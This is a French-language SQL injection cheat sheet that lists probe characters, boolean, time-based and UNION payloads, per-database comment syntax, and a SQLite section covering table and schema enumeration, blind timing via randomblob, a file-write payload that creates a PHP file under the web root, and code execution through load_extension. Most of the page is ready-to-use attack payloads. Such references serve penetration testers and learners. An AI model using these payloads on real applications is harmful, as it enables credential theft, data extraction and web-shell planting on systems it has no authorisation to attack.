Fiche memo

Détection Initiale des Points d'Entrée

Échappement des Caractères :

[Nothing]
'
"
`
')
")
`)
'))
"))
`))
  • Test de Caractères Spéciaux :

    • Injection de Quotes :

      username=' OR '1'='1
    • Injection de Commentaires :

      username=' OR '1'='1--
  • Tests Booléens :

    • Conditions Toujours Vraies :

      username=' OR '1'='1
    • Conditions Toujours Fausses :

      username=' AND '1'='2
  • Tests de Chargement Différé :

    • Attaques Basées sur le Temps :

      username=' OR IF(1=1, SLEEP(5), 0)--
  • Tests de UNION :

    • Injection UNION :

      ' UNION SELECT NULL, NULL, username, password FROM users--

Commentaires

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

SQLite

Objectif

Requête/Commande

Description

Concatenation de chaînes

`

Commentaires

--

Ajoute un commentaire sur une ligne dans SQL. Tout ce qui suit -- sur la même ligne sera ignoré.

Conditions

CASE WHEN key='value1' THEN 'something' WHEN key='value2' THEN 'somethingelse'

Permet d'implémenter des conditions logiques dans une requête SQL. Utilisé pour appliquer des conditions spécifiques.

Sous-chaînes

substr(string,start,stop)

Extrait une sous-chaîne de la chaîne string, commençant à start et finissant à stop.

Longueur d'une chaîne

length(string)

Retourne la longueur de la chaîne string.

Quotes sans les guillemets littéraux

cast(X'27' as text) ; cast(X'22' as text)

Utilisé pour représenter des apostrophes (') et des guillemets (") dans des chaînes littérales. X'27' représente l'apostrophe et X'22' le guillemet double.

Énumération des noms de tables

' UNION SELECT name FROM sqlite_master WHERE type='table' ;

Récupère les noms de toutes les tables dans la base de données.

Énumération du schéma des tables

' UNION SELECT sql FROM sqlite_master WHERE type='table' ;

Récupère les requêtes de création de toutes les tables, fournissant le schéma de chaque table.

Extraction de données basée sur le temps

cond='true' AND 1=randomblob(100000000) ;

Introduit un délai en fonction de la condition cond. Utilisé pour des attaques de temporisation.

Écriture de fichiers

1';ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’;--

Écrit des données dans une base de données en attachant une nouvelle base de données et créant une table. Requiert l'accès direct à la base ou des options de requête empilées.

Exécution de code arbitraire

load_extension(library_file,entry_point) ;

Charge une bibliothèque dynamique (.dll pour Windows, .so pour Unix) pour exécuter du code arbitraire. Requiert une configuration non par défaut.

Last updated